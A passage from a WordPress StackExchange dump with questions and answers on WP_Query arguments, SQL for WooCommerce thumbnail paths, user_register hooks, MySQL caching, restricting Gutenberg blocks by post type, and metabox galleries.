), 'tax_query' => array( 'relation' => 'AND', array( 'taxonomy' => 'post', 'terms' => 'budget', 'field' => 'slug', 'operator' => 'IN', ), array( 'taxonomy' => 'money-savings-tips-categories', 'terms' => 'budget', 'field' => 'slug', 'operator' => 'IN', ), array( 'taxonomy' => 'reviews-categories', 'terms' => 'budget', 'field' => 'slug', 'operator' => 'IN', ), array( 'taxonomy' => 'media-appearance-categories', 'terms' => 'budget', 'field' => 'slug', 'operator' => 'IN', ), array( 'taxonomy' => 'member-archives-categories', 'terms' => 'budget', 'field' => 'slug', 'operator' => 'IN', ), ), ); ```
1. category\_name should take a string, not an array I believe 2. post\_type is not mentioned as an arg, and thus defaults to 'post' so try: ``` $args = array( 'post_type' => 'any', //or use cpt slug as string, or array of strings if multiple 'category_name' => 'budget', //use 'budget,premium' if you want posts with budget OR premium, use 'budget+premium' if you want budget AND premium. ); $this_query = new WP_Query( $args ); ?> ```
349,550
<p>I am trying to display WC product images (thumbnails) or just get the url to that image from database. But I can't seem to find the column where the url are stored with the following. One thing I want my query to have is ability to select images of a certain category. I know _wp_attached_file is the meta key and through its associated post ID I can grab the image path but not sure how to write it. </p> <pre><code>select * from wp_posts where post_type = "product" </code></pre> <p>All helps appreciated </p>
[ { "answer_id": 349557, "author": "Jacob Peattie", "author_id": 39152, "author_profile": "https://wordpress.stackexchange.com/users/39152", "pm_score": 4, "selected": true, "text": "<p>The post thumbnail is not stored as a URL. The post thumbnail is stored as the attachment ID in the <code>_thumbnail_id</code> post meta. The actual file is stored as the <code>_wp_attached_file</code> post meta for that attachment post. WordPress does not store the full URL for attachments in the database. It only stores the path to the file, <em>relative to the uploads directory</em>.</p>\n\n<p>This query will list product IDs and the <em>path</em> to their thumbnail files. You will then need to append those to the URL to your uploads directory:</p>\n\n<pre><code>SELECT \n p.ID,\n am.meta_value\nFROM\n wp_posts p\nLEFT JOIN\n wp_postmeta pm ON \n pm.post_id = p.ID AND\n pm.meta_key = '_thumbnail_id'\nLEFT JOIN\n wp_postmeta am ON\n am.post_id = pm.meta_value AND\n am.meta_key = '_wp_attached_file'\nWHERE\n p.post_type = 'product' AND\n p.post_status = 'publish'\n</code></pre>\n\n<p>Since the site URL and uploads directory are dynamic, and can be controlled via PHP, it doesn't make sense to store the full URL. WordPress uses PHP to determine what the URL to the file is, based the site configuration and the relative path to the file. It also doesn't make sense to store the URL, because some operations require the path, not the URL.</p>\n\n<p>Also note that the only reason you'd do this with SQL is if you were accessing the file paths outside of WordPress, and not using the REST API. If you're inside a WordPress/WooCommerce template, then the correct way to display the product image is:</p>\n\n<pre><code>$product = wc_get_product( $product_id );\n\necho $product-&gt;get_image( 'full' );\n</code></pre>\n" }, { "answer_id": 401371, "author": "DevWL", "author_id": 108994, "author_profile": "https://wordpress.stackexchange.com/users/108994", "pm_score": 0, "selected": false, "text": "<p>@JacobPeattie already provided you with the correct way of getting WP path in wordpress with <code>wc_get_product(..)</code> and <code>-&gt;get_iamge</code> method.</p>\n<p>However this is posible to construct query in a way to get the full path to url like so:</p>\n<pre><code>SELECT\n p.ID,\n CONCAT((SELECT option_value FROM wp_options o WHERE o.option_name = &quot;siteurl&quot;), &quot;/wp-content/uploads/&quot;, am.meta_value) AS siteurl\nFROM\n wp_posts p\nLEFT JOIN\n wp_postmeta pm ON\n pm.post_id = p.ID AND\n pm.meta_key = '_thumbnail_id'\nLEFT JOIN\n wp_postmeta am ON\n am.post_id = pm.meta_value AND\n am.meta_key = '_wp_attached_file'\nWHERE\n p.post_type = 'product'\n AND p.post_status = 'publish'\n AND am.meta_value IS NOT NULL\n</code></pre>\n<p>Outputs:</p>\n<pre><code>+-----+---------------------------------------------------------------+\n| ID | siteurl |\n+-----+---------------------------------------------------------------+\n| 374 | https://rolagra.dv/wp-content/uploads/2021/11/products-01.jpg |\n| 375 | https://rolagra.dv/wp-content/uploads/2021/11/products-04.jpg |\n| 376 | https://rolagra.dv/wp-content/uploads/2021/11/products-05.jpg |\n| 377 | https://rolagra.dv/wp-content/uploads/2021/11/products-08.jpg |\n| 378 | https://rolagra.dv/wp-content/uploads/2021/11/products-09.jpg |\n| 379 | https://rolagra.dv/wp-content/uploads/2021/11/products-06.jpg |\n| 380 | https://rolagra.dv/wp-content/uploads/2021/11/products-02.jpg |\n| 381 | https://rolagra.dv/wp-content/uploads/2021/11/products-03.jpg |\n| 454 | https://rolagra.dv/wp-content/uploads/2021/11/products-04.jpg |\n+-----+---------------------------------------------------------------+\n9 rows in set (0.002 sec) \n</code></pre>\n" } ]
2019/10/02
[ "https://wordpress.stackexchange.com/questions/349550", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/174467/" ]
I am trying to display WC product images (thumbnails) or just get the url to that image from database. But I can't seem to find the column where the url are stored with the following. One thing I want my query to have is ability to select images of a certain category. I know \_wp\_attached\_file is the meta key and through its associated post ID I can grab the image path but not sure how to write it. ``` select * from wp_posts where post_type = "product" ``` All helps appreciated
The post thumbnail is not stored as a URL. The post thumbnail is stored as the attachment ID in the `_thumbnail_id` post meta. The actual file is stored as the `_wp_attached_file` post meta for that attachment post. WordPress does not store the full URL for attachments in the database. It only stores the path to the file, *relative to the uploads directory*. This query will list product IDs and the *path* to their thumbnail files. You will then need to append those to the URL to your uploads directory: ``` SELECT p.ID, am.meta_value FROM wp_posts p LEFT JOIN wp_postmeta pm ON pm.post_id = p.ID AND pm.meta_key = '_thumbnail_id' LEFT JOIN wp_postmeta am ON am.post_id = pm.meta_value AND am.meta_key = '_wp_attached_file' WHERE p.post_type = 'product' AND p.post_status = 'publish' ``` Since the site URL and uploads directory are dynamic, and can be controlled via PHP, it doesn't make sense to store the full URL. WordPress uses PHP to determine what the URL to the file is, based the site configuration and the relative path to the file. It also doesn't make sense to store the URL, because some operations require the path, not the URL. Also note that the only reason you'd do this with SQL is if you were accessing the file paths outside of WordPress, and not using the REST API. If you're inside a WordPress/WooCommerce template, then the correct way to display the product image is: ``` $product = wc_get_product( $product_id ); echo $product->get_image( 'full' ); ```
349,629
<p>I am having trouble inserting logged-in user data, using the 'user_register' hook. The following code inserts a row in the database, but only inserts the 'email' column. </p> <pre><code>function nuevoPostulante() { global $wpdb; $tablaPostulante = $wpdb-&gt;prefix . 'postulante'; $current_user = wp_get_current_user(); $wpdb-&gt;insert( $tablaPostulante, array( 'dni' =&gt; $current_user-&gt;user_login, 'nombre' =&gt; $current_user-&gt;display_name, 'email' =&gt; 'test@insert.com', ) ); } add_action('user_register', 'nuevoPostulante'); </code></pre> <p>Columns with values ​​taken from '$ current_user' are empy, the insert do not seem to take data from the array.</p> <p>I think it's a scope problem, I still don't understand how to fix it. Somebody could help me? Thank you!</p>
[ { "answer_id": 350084, "author": "middlelady", "author_id": 93927, "author_profile": "https://wordpress.stackexchange.com/users/93927", "pm_score": 3, "selected": false, "text": "<p>General speaking <em>yes</em> for read-only applications (until MySQL 5.7, it's deprecated since version 8.0), it enables equal <code>SELECT</code>s to return data extremely fast if <em>identical calls</em> are already stored in cache. You should consider that:</p>\n\n<ul>\n<li>Only exact same clauses can benefit from the cache engine (no spaces, no comments, no actual differences in <code>WHERE</code> expressions);</li>\n<li>If you are updating often the table you will not benefit much of it, since the queries get invalidated, and the invalidation algorithms can also reduce performance, in some cases.</li>\n</ul>\n\n<p><strong>Excellent alternatives are</strong>:</p>\n\n<ul>\n<li><em>External caching engines</em> (i.e. <strong>Memecached</strong> or <strong>Redis</strong>, my favorite, <a href=\"https://redislabs.com/wp-content/uploads/2016/03/15-Reasons-Caching-is-best-with-Redis-RedisLabs-1.pdf\" rel=\"noreferrer\">https://redislabs.com/wp-content/uploads/2016/03/15-Reasons-Caching-is-best-with-Redis-RedisLabs-1.pdf</a>)</li>\n<li><em>ProxySQL</em> (since MySQL 8.0) on which I have no experience. Read more <a href=\"https://mysqlserverteam.com/mysql-8-0-retiring-support-for-the-query-cache/\" rel=\"noreferrer\">https://mysqlserverteam.com/mysql-8-0-retiring-support-for-the-query-cache/</a></li>\n</ul>\n\n<p>I think also if you combine those with a good web server like <strong>NGINX</strong> or <strong>Apache2</strong> and an HTTP accelerator like <strong>Varnish</strong> you can fly. </p>\n\n<p>As I know, these are also the best current practices but I might have ignored something, please share it in case.</p>\n" }, { "answer_id": 390729, "author": "cjbj", "author_id": 75495, "author_profile": "https://wordpress.stackexchange.com/users/75495", "pm_score": 2, "selected": false, "text": "<p>MySQL's query cache was never much good and has been retired since version 8.0 So, if you're looking for optimizing database performance with WordPress, that's not the way to go. WP does have a tendency to bloat the database, however. There are several things you can do to prevent this.</p>\n<ul>\n<li>Limit revisions of your posts to 2 by including <code>define( ‘WP_POST_REVISIONS’, 2 );</code> in <code>wp-config.php</code>. Or stop revisions alltogether with <code>define( ‘WP_POST_REVISIONS’, false );</code> In phpMyAdmin you can delete existing revisions with <code>DELETE FROM wp_posts WHERE post_type = &quot;revision&quot;;</code>.</li>\n<li>Database cleanup. When you disable a plugin, its data will usually be left in the database, so when you enable it again, you can pick it up where you left it. This can amount to a lot of data, though. All sorts of other orphan data may slow down MySQL as well. There are <a href=\"https://wordpress.org/plugins/search/database+optimization/\" rel=\"nofollow noreferrer\">plenty of plugins</a> that will help you clean up this stuff.</li>\n<li>Use the <a href=\"https://querymonitor.com/\" rel=\"nofollow noreferrer\">Query Monitor</a> plugin to identify slow queries. A lousy script in your theme might be the culprit of a slow database and caching won't help with that.</li>\n</ul>\n" } ]
2019/10/02
[ "https://wordpress.stackexchange.com/questions/349629", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/176150/" ]
I am having trouble inserting logged-in user data, using the 'user\_register' hook. The following code inserts a row in the database, but only inserts the 'email' column. ``` function nuevoPostulante() { global $wpdb; $tablaPostulante = $wpdb->prefix . 'postulante'; $current_user = wp_get_current_user(); $wpdb->insert( $tablaPostulante, array( 'dni' => $current_user->user_login, 'nombre' => $current_user->display_name, 'email' => 'test@insert.com', ) ); } add_action('user_register', 'nuevoPostulante'); ``` Columns with values ​​taken from '$ current\_user' are empy, the insert do not seem to take data from the array. I think it's a scope problem, I still don't understand how to fix it. Somebody could help me? Thank you!
General speaking *yes* for read-only applications (until MySQL 5.7, it's deprecated since version 8.0), it enables equal `SELECT`s to return data extremely fast if *identical calls* are already stored in cache. You should consider that: * Only exact same clauses can benefit from the cache engine (no spaces, no comments, no actual differences in `WHERE` expressions); * If you are updating often the table you will not benefit much of it, since the queries get invalidated, and the invalidation algorithms can also reduce performance, in some cases. **Excellent alternatives are**: * *External caching engines* (i.e. **Memecached** or **Redis**, my favorite, <https://redislabs.com/wp-content/uploads/2016/03/15-Reasons-Caching-is-best-with-Redis-RedisLabs-1.pdf>) * *ProxySQL* (since MySQL 8.0) on which I have no experience. Read more <https://mysqlserverteam.com/mysql-8-0-retiring-support-for-the-query-cache/> I think also if you combine those with a good web server like **NGINX** or **Apache2** and an HTTP accelerator like **Varnish** you can fly. As I know, these are also the best current practices but I might have ignored something, please share it in case.
349,703
<p>I've made a Gutenberg block which is only appropriate to show on hierarchical post types, so I want to disable it from the block inserter for non-hierarchical post types.</p> <p>I thought about how to achieve this in PHP, but the <a href="https://developer.wordpress.org/block-editor/tutorials/block-tutorial/writing-your-first-block-type/#enqueuing-block-scripts" rel="nofollow noreferrer">WordPress documentation on registering blocks</a> seems to suggest that blocks should be registered in PHP on the <code>init</code> hook and not a later hook where you could check if the post being edited is hierarchical. At the time the <code>init</code> hook fires, the currently viewed post is not yet available via e.g. <code>get_post()</code>, so I can't check its <code>post_type</code>.</p> <p>I also thought about how to achieve this in the (JavaScript) script that I register with the <code>editor_script</code> property passed to <code>register_block_type</code>, but I don't know how to check the post type being edited to make it possible to halt the block registration in the case of non-hierarchical post types. It also seems a bit silly to enqueue and run the block script only for the script to decide that it shouldn't do anything, so ideally I would like to implement this checking in PHP.</p> <p>Is there some standard way to make a block available only for specific post types, ideally in PHP?</p>
[ { "answer_id": 349706, "author": "WebElaine", "author_id": 102815, "author_profile": "https://wordpress.stackexchange.com/users/102815", "pm_score": 3, "selected": false, "text": "<p>You can use the <code>allowed_block_types</code> hook:</p>\n\n<pre><code>&lt;?php\nfunction wpse_allowed_block_types($allowed_block_types, $post) {\n // Limit blocks in 'post' post type\n if($post-&gt;post_type == 'post') {\n // Return an array containing the allowed block types\n return array(\n 'core/paragraph',\n 'core/heading'\n );\n }\n // Limit blocks in 'page' post type\n elseif($post-&gt;post_type == 'page') {\n return array(\n 'core/list'\n );\n }\n // Allow defaults in all other post types\n else {\n return $allowed_block_types;\n }\n}\nadd_filter('allowed_block_types', 'wpse_allowed_block_types', 10, 2);\n?&gt;\n</code></pre>\n\n<p>Tweak with as many or as few conditions as you need. You can also enable non-Core blocks by identifying their namespace and name and putting those in the array.</p>\n" }, { "answer_id": 361424, "author": "Tim", "author_id": 113538, "author_profile": "https://wordpress.stackexchange.com/users/113538", "pm_score": 0, "selected": false, "text": "<p>If you need to whitelist the blocks that you want to use on your post you can use this method from the WordPress handbook <a href=\"https://developer.wordpress.org/block-editor/developers/filters/block-filters/#using-a-whitelist\" rel=\"nofollow noreferrer\">https://developer.wordpress.org/block-editor/developers/filters/block-filters/#using-a-whitelist</a></p>\n\n<pre><code>// my-plugin.js\nvar allowedBlocks = [\n 'core/paragraph',\n 'core/image',\n 'core/html',\n 'core/freeform'\n];\n\nwp.blocks.getBlockTypes().forEach( function( blockType ) {\n if ( allowedBlocks.indexOf( blockType.name ) === -1 ) {\n wp.blocks.unregisterBlockType( blockType.name );\n }\n} );\n</code></pre>\n" }, { "answer_id": 383495, "author": "edanzer", "author_id": 202025, "author_profile": "https://wordpress.stackexchange.com/users/202025", "pm_score": 1, "selected": false, "text": "<p>I know this is an older post, but I was trying to do something similar. I have created a post type, and rather than use custom meta boxes to add/save post meta, I'm using blocks. Given the purpose of such a block, it should really only show for the relevant post type.</p>\n<p>I found the following works. You can use the unregisterBlockType() function to unregister your block for any post types that are not your own.</p>\n<p>There are two steps.</p>\n<ol>\n<li>Enqueue a JS file when not on your post type.</li>\n</ol>\n<pre><code>function my_function() {\n if ( get_post_type() != 'my-post-type' ) {\n wp_enqueue_script(\n 'my-script',\n 'path/to/js/my-script.js',\n array( 'original-block-js' ),\n '1.0.0',\n true\n );\n }\n}\nadd_action( 'admin_enqueue_scripts', 'my_function' );\n</code></pre>\n<p>Note 'original-block-js' as a dependency. This refers to the JS file that's registering your block in the first place. We are ensuring the code to unregister the block is loaded <em>after</em> the code that registers it.</p>\n<ol start=\"2\">\n<li>Add the following to your JS file.</li>\n</ol>\n<pre><code>const { unregisterBlockType } = wp.blocks;\n\nwp.domReady( function() {\n unregisterBlockType( 'my-name-space/block-name' );\n} );\n</code></pre>\n<p>Replace my-name-space/block-name with your block name.</p>\n<p><strong>UPDATE</strong></p>\n<p>The original poster wanted to hide the block on any non-hierarchical post types. That's a slightly different use case. But you can get there by just adjusting the conditional with is_post_type_hierarchical().</p>\n" } ]
2019/10/03
[ "https://wordpress.stackexchange.com/questions/349703", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/138112/" ]
I've made a Gutenberg block which is only appropriate to show on hierarchical post types, so I want to disable it from the block inserter for non-hierarchical post types. I thought about how to achieve this in PHP, but the [WordPress documentation on registering blocks](https://developer.wordpress.org/block-editor/tutorials/block-tutorial/writing-your-first-block-type/#enqueuing-block-scripts) seems to suggest that blocks should be registered in PHP on the `init` hook and not a later hook where you could check if the post being edited is hierarchical. At the time the `init` hook fires, the currently viewed post is not yet available via e.g. `get_post()`, so I can't check its `post_type`. I also thought about how to achieve this in the (JavaScript) script that I register with the `editor_script` property passed to `register_block_type`, but I don't know how to check the post type being edited to make it possible to halt the block registration in the case of non-hierarchical post types. It also seems a bit silly to enqueue and run the block script only for the script to decide that it shouldn't do anything, so ideally I would like to implement this checking in PHP. Is there some standard way to make a block available only for specific post types, ideally in PHP?
You can use the `allowed_block_types` hook: ``` <?php function wpse_allowed_block_types($allowed_block_types, $post) { // Limit blocks in 'post' post type if($post->post_type == 'post') { // Return an array containing the allowed block types return array( 'core/paragraph', 'core/heading' ); } // Limit blocks in 'page' post type elseif($post->post_type == 'page') { return array( 'core/list' ); } // Allow defaults in all other post types else { return $allowed_block_types; } } add_filter('allowed_block_types', 'wpse_allowed_block_types', 10, 2); ?> ``` Tweak with as many or as few conditions as you need. You can also enable non-Core blocks by identifying their namespace and name and putting those in the array.
349,730
<p>I have created a custom metabox with an image uploader that will upload multiple images into a gallery that I can then query. It all works accept for the fact that the images don't show as attached to the post in the media library. They are showing as unattached. Any ideas folks?</p> <pre><code>&lt;?php // Add the Meta Box function agch_properties_add_custom_meta_box() { add_meta_box( 'custom_meta_box', // $id 'Property Photos', // $title 'agch_properties_show_custom_meta_box', // $callback 'properties', // $page 'normal', // $context 'high'); // $priority } add_action('add_meta_boxes', 'agch_properties_add_custom_meta_box'); // Field Array $prefix = 'agch_properties_'; $custom_meta_fields = array( array( 'label'=&gt; 'Upload Images', 'desc' =&gt; 'This is the gallery images on the single item page.', 'id' =&gt; $prefix.'gallery', 'type' =&gt; 'gallery' ), ); // The Callback function agch_properties_show_custom_meta_box($object) { global $custom_meta_fields, $post; // Use nonce for verification echo '&lt;input type="hidden" name="custom_meta_box_nonce" value="'.wp_create_nonce(basename(__FILE__)).'" /&gt;'; // Begin the field table and loop echo '&lt;table class="form-table"&gt;'; foreach ($custom_meta_fields as $field) { // get value of this field if it exists for this post $meta = get_post_meta($post-&gt;ID, $field['id'], true); // begin a table row with echo '&lt;tr&gt; &lt;th&gt;&lt;label for="'.$field['id'].'"&gt;'.$field['label'].'&lt;/label&gt;&lt;/th&gt; &lt;td&gt;'; switch($field['type']) { case 'gallery': $meta_html = null; if ($meta) { $meta_html .= '&lt;ul class="agch_properties_gallery_list"&gt;'; $meta_array = explode(',', $meta); foreach ($meta_array as $meta_gall_item) { $meta_html .= '&lt;li&gt;&lt;div class="agch_properties_gallery_container"&gt;&lt;span class="agch_properties_gallery_close"&gt;&lt;img id="' . esc_attr($meta_gall_item) . '" src="' . wp_get_attachment_thumb_url($meta_gall_item) . '"&gt;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;'; } $meta_html .= '&lt;/ul&gt;'; } echo '&lt;input id="agch_properties_gallery" type="hidden" name="agch_properties_gallery" value="' . esc_attr($meta) . '" /&gt; &lt;span id="agch_properties_gallery_src"&gt;' . $meta_html . '&lt;/span&gt; &lt;div class="agch_gallery_button_container"&gt;&lt;input id="agch_properties_gallery_button" type="button" value="Add Images" /&gt;&lt;/div&gt;'; break; } //end switch echo '&lt;/td&gt;&lt;/tr&gt;'; } // end foreach echo '&lt;/table&gt;'; // end table } // Save the Data function agch_properties_save_custom_meta($post_id) { global $custom_meta_fields; // Verify nonce if ($_POST &amp;&amp; !wp_verify_nonce($_POST['custom_meta_box_nonce'], basename(__FILE__))) return $post_id; // Check autosave if (defined('DOING_AUTOSAVE') &amp;&amp; DOING_AUTOSAVE) return $post_id; // Check permissions if ('properties' == get_post_type()) { if (!current_user_can('edit_page', $post_id)) return $post_id; } elseif (!current_user_can('edit_post', $post_id)) { return $post_id; } // Loop through meta fields foreach ($custom_meta_fields as $field) { $new_meta_value = esc_attr($_POST[$field['id']]); $meta_key = $field['id']; $meta_value = get_post_meta( $post_id, $meta_key, true ); // If theres a new meta value and the existing meta value is empty if ( $new_meta_value &amp;&amp; $meta_value == null ) { add_post_meta( $post_id, $meta_key, $new_meta_value, true ); // If theres a new meta value and the existing meta value is different } elseif ( $new_meta_value &amp;&amp; $new_meta_value != $meta_value ) { update_post_meta( $post_id, $meta_key, $new_meta_value ); } elseif ( $new_meta_value == null &amp;&amp; $meta_value ) { delete_post_meta( $post_id, $meta_key, $meta_value ); } } } add_action('save_post', 'agch_properties_save_custom_meta'); function AGCH_properties_load_wp_admin_style() { wp_enqueue_media(); wp_enqueue_script('media-upload'); wp_enqueue_style( 'AGCH_properties_admin_css', get_template_directory_uri() . '/library/css/properties_gallery_admin.css' ); wp_enqueue_script( 'AGCH_properties_admin_script', get_template_directory_uri() . '/library/js/properties_gallery_admin.js' ); } add_action( 'admin_enqueue_scripts', 'AGCH_properties_load_wp_admin_style' ); ?&gt; </code></pre>
[ { "answer_id": 349706, "author": "WebElaine", "author_id": 102815, "author_profile": "https://wordpress.stackexchange.com/users/102815", "pm_score": 3, "selected": false, "text": "<p>You can use the <code>allowed_block_types</code> hook:</p>\n\n<pre><code>&lt;?php\nfunction wpse_allowed_block_types($allowed_block_types, $post) {\n // Limit blocks in 'post' post type\n if($post-&gt;post_type == 'post') {\n // Return an array containing the allowed block types\n return array(\n 'core/paragraph',\n 'core/heading'\n );\n }\n // Limit blocks in 'page' post type\n elseif($post-&gt;post_type == 'page') {\n return array(\n 'core/list'\n );\n }\n // Allow defaults in all other post types\n else {\n return $allowed_block_types;\n }\n}\nadd_filter('allowed_block_types', 'wpse_allowed_block_types', 10, 2);\n?&gt;\n</code></pre>\n\n<p>Tweak with as many or as few conditions as you need. You can also enable non-Core blocks by identifying their namespace and name and putting those in the array.</p>\n" }, { "answer_id": 361424, "author": "Tim", "author_id": 113538, "author_profile": "https://wordpress.stackexchange.com/users/113538", "pm_score": 0, "selected": false, "text": "<p>If you need to whitelist the blocks that you want to use on your post you can use this method from the WordPress handbook <a href=\"https://developer.wordpress.org/block-editor/developers/filters/block-filters/#using-a-whitelist\" rel=\"nofollow noreferrer\">https://developer.wordpress.org/block-editor/developers/filters/block-filters/#using-a-whitelist</a></p>\n\n<pre><code>// my-plugin.js\nvar allowedBlocks = [\n 'core/paragraph',\n 'core/image',\n 'core/html',\n 'core/freeform'\n];\n\nwp.blocks.getBlockTypes().forEach( function( blockType ) {\n if ( allowedBlocks.indexOf( blockType.name ) === -1 ) {\n wp.blocks.unregisterBlockType( blockType.name );\n }\n} );\n</code></pre>\n" }, { "answer_id": 383495, "author": "edanzer", "author_id": 202025, "author_profile": "https://wordpress.stackexchange.com/users/202025", "pm_score": 1, "selected": false, "text": "<p>I know this is an older post, but I was trying to do something similar. I have created a post type, and rather than use custom meta boxes to add/save post meta, I'm using blocks. Given the purpose of such a block, it should really only show for the relevant post type.</p>\n<p>I found the following works. You can use the unregisterBlockType() function to unregister your block for any post types that are not your own.</p>\n<p>There are two steps.</p>\n<ol>\n<li>Enqueue a JS file when not on your post type.</li>\n</ol>\n<pre><code>function my_function() {\n if ( get_post_type() != 'my-post-type' ) {\n wp_enqueue_script(\n 'my-script',\n 'path/to/js/my-script.js',\n array( 'original-block-js' ),\n '1.0.0',\n true\n );\n }\n}\nadd_action( 'admin_enqueue_scripts', 'my_function' );\n</code></pre>\n<p>Note 'original-block-js' as a dependency. This refers to the JS file that's registering your block in the first place. We are ensuring the code to unregister the block is loaded <em>after</em> the code that registers it.</p>\n<ol start=\"2\">\n<li>Add the following to your JS file.</li>\n</ol>\n<pre><code>const { unregisterBlockType } = wp.blocks;\n\nwp.domReady( function() {\n unregisterBlockType( 'my-name-space/block-name' );\n} );\n</code></pre>\n<p>Replace my-name-space/block-name with your block name.</p>\n<p><strong>UPDATE</strong></p>\n<p>The original poster wanted to hide the block on any non-hierarchical post types. That's a slightly different use case. But you can get there by just adjusting the conditional with is_post_type_hierarchical().</p>\n" } ]
2019/10/04
[ "https://wordpress.stackexchange.com/questions/349730", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/81422/" ]
I have created a custom metabox with an image uploader that will upload multiple images into a gallery that I can then query. It all works accept for the fact that the images don't show as attached to the post in the media library. They are showing as unattached. Any ideas folks? ``` <?php // Add the Meta Box function agch_properties_add_custom_meta_box() { add_meta_box( 'custom_meta_box', // $id 'Property Photos', // $title 'agch_properties_show_custom_meta_box', // $callback 'properties', // $page 'normal', // $context 'high'); // $priority } add_action('add_meta_boxes', 'agch_properties_add_custom_meta_box'); // Field Array $prefix = 'agch_properties_'; $custom_meta_fields = array( array( 'label'=> 'Upload Images', 'desc' => 'This is the gallery images on the single item page.', 'id' => $prefix.'gallery', 'type' => 'gallery' ), ); // The Callback function agch_properties_show_custom_meta_box($object) { global $custom_meta_fields, $post; // Use nonce for verification echo '<input type="hidden" name="custom_meta_box_nonce" value="'.wp_create_nonce(basename(__FILE__)).'" />'; // Begin the field table and loop echo '<table class="form-table">'; foreach ($custom_meta_fields as $field) { // get value of this field if it exists for this post $meta = get_post_meta($post->ID, $field['id'], true); // begin a table row with echo '<tr> <th><label for="'.$field['id'].'">'.$field['label'].'</label></th> <td>'; switch($field['type']) { case 'gallery': $meta_html = null; if ($meta) { $meta_html .= '<ul class="agch_properties_gallery_list">'; $meta_array = explode(',', $meta); foreach ($meta_array as $meta_gall_item) { $meta_html .= '<li><div class="agch_properties_gallery_container"><span class="agch_properties_gallery_close"><img id="' . esc_attr($meta_gall_item) . '" src="' . wp_get_attachment_thumb_url($meta_gall_item) . '"></span></div></li>'; } $meta_html .= '</ul>'; } echo '<input id="agch_properties_gallery" type="hidden" name="agch_properties_gallery" value="' . esc_attr($meta) . '" /> <span id="agch_properties_gallery_src">' . $meta_html . '</span> <div class="agch_gallery_button_container"><input id="agch_properties_gallery_button" type="button" value="Add Images" /></div>'; break; } //end switch echo '</td></tr>'; } // end foreach echo '</table>'; // end table } // Save the Data function agch_properties_save_custom_meta($post_id) { global $custom_meta_fields; // Verify nonce if ($_POST && !wp_verify_nonce($_POST['custom_meta_box_nonce'], basename(__FILE__))) return $post_id; // Check autosave if (defined('DOING_AUTOSAVE') && DOING_AUTOSAVE) return $post_id; // Check permissions if ('properties' == get_post_type()) { if (!current_user_can('edit_page', $post_id)) return $post_id; } elseif (!current_user_can('edit_post', $post_id)) { return $post_id; } // Loop through meta fields foreach ($custom_meta_fields as $field) { $new_meta_value = esc_attr($_POST[$field['id']]); $meta_key = $field['id']; $meta_value = get_post_meta( $post_id, $meta_key, true ); // If theres a new meta value and the existing meta value is empty if ( $new_meta_value && $meta_value == null ) { add_post_meta( $post_id, $meta_key, $new_meta_value, true ); // If theres a new meta value and the existing meta value is different } elseif ( $new_meta_value && $new_meta_value != $meta_value ) { update_post_meta( $post_id, $meta_key, $new_meta_value ); } elseif ( $new_meta_value == null && $meta_value ) { delete_post_meta( $post_id, $meta_key, $meta_value ); } } } add_action('save_post', 'agch_properties_save_custom_meta'); function AGCH_properties_load_wp_admin_style() { wp_enqueue_media(); wp_enqueue_script('media-upload'); wp_enqueue_style( 'AGCH_properties_admin_css', get_template_directory_uri() . '/library/css/properties_gallery_admin.css' ); wp_enqueue_script( 'AGCH_properties_admin_script', get_template_directory_uri() . '/library/js/properties_gallery_admin.js' ); } add_action( 'admin_enqueue_scripts', 'AGCH_properties_load_wp_admin_style' ); ?> ```
You can use the `allowed_block_types` hook: ``` <?php function wpse_allowed_block_types($allowed_block_types, $post) { // Limit blocks in 'post' post type if($post->post_type == 'post') { // Return an array containing the allowed block types return array( 'core/paragraph', 'core/heading' ); } // Limit blocks in 'page' post type elseif($post->post_type == 'page') { return array( 'core/list' ); } // Allow defaults in all other post types else { return $allowed_block_types; } } add_filter('allowed_block_types', 'wpse_allowed_block_types', 10, 2); ?> ``` Tweak with as many or as few conditions as you need. You can also enable non-Core blocks by identifying their namespace and name and putting those in the array.
349,743
<p>I have a page created in wordpress that I want to redirect all users to. Ex.: www.mywordpress.com/offline</p> <p>How can I direct all traffic requests (except wp-admin and dashboard) to this page?</p> <p>My goal is to have an offline page for when I am working on things or I am not accepting any new business.</p>
[ { "answer_id": 349706, "author": "WebElaine", "author_id": 102815, "author_profile": "https://wordpress.stackexchange.com/users/102815", "pm_score": 3, "selected": false, "text": "<p>You can use the <code>allowed_block_types</code> hook:</p>\n\n<pre><code>&lt;?php\nfunction wpse_allowed_block_types($allowed_block_types, $post) {\n // Limit blocks in 'post' post type\n if($post-&gt;post_type == 'post') {\n // Return an array containing the allowed block types\n return array(\n 'core/paragraph',\n 'core/heading'\n );\n }\n // Limit blocks in 'page' post type\n elseif($post-&gt;post_type == 'page') {\n return array(\n 'core/list'\n );\n }\n // Allow defaults in all other post types\n else {\n return $allowed_block_types;\n }\n}\nadd_filter('allowed_block_types', 'wpse_allowed_block_types', 10, 2);\n?&gt;\n</code></pre>\n\n<p>Tweak with as many or as few conditions as you need. You can also enable non-Core blocks by identifying their namespace and name and putting those in the array.</p>\n" }, { "answer_id": 361424, "author": "Tim", "author_id": 113538, "author_profile": "https://wordpress.stackexchange.com/users/113538", "pm_score": 0, "selected": false, "text": "<p>If you need to whitelist the blocks that you want to use on your post you can use this method from the WordPress handbook <a href=\"https://developer.wordpress.org/block-editor/developers/filters/block-filters/#using-a-whitelist\" rel=\"nofollow noreferrer\">https://developer.wordpress.org/block-editor/developers/filters/block-filters/#using-a-whitelist</a></p>\n\n<pre><code>// my-plugin.js\nvar allowedBlocks = [\n 'core/paragraph',\n 'core/image',\n 'core/html',\n 'core/freeform'\n];\n\nwp.blocks.getBlockTypes().forEach( function( blockType ) {\n if ( allowedBlocks.indexOf( blockType.name ) === -1 ) {\n wp.blocks.unregisterBlockType( blockType.name );\n }\n} );\n</code></pre>\n" }, { "answer_id": 383495, "author": "edanzer", "author_id": 202025, "author_profile": "https://wordpress.stackexchange.com/users/202025", "pm_score": 1, "selected": false, "text": "<p>I know this is an older post, but I was trying to do something similar. I have created a post type, and rather than use custom meta boxes to add/save post meta, I'm using blocks. Given the purpose of such a block, it should really only show for the relevant post type.</p>\n<p>I found the following works. You can use the unregisterBlockType() function to unregister your block for any post types that are not your own.</p>\n<p>There are two steps.</p>\n<ol>\n<li>Enqueue a JS file when not on your post type.</li>\n</ol>\n<pre><code>function my_function() {\n if ( get_post_type() != 'my-post-type' ) {\n wp_enqueue_script(\n 'my-script',\n 'path/to/js/my-script.js',\n array( 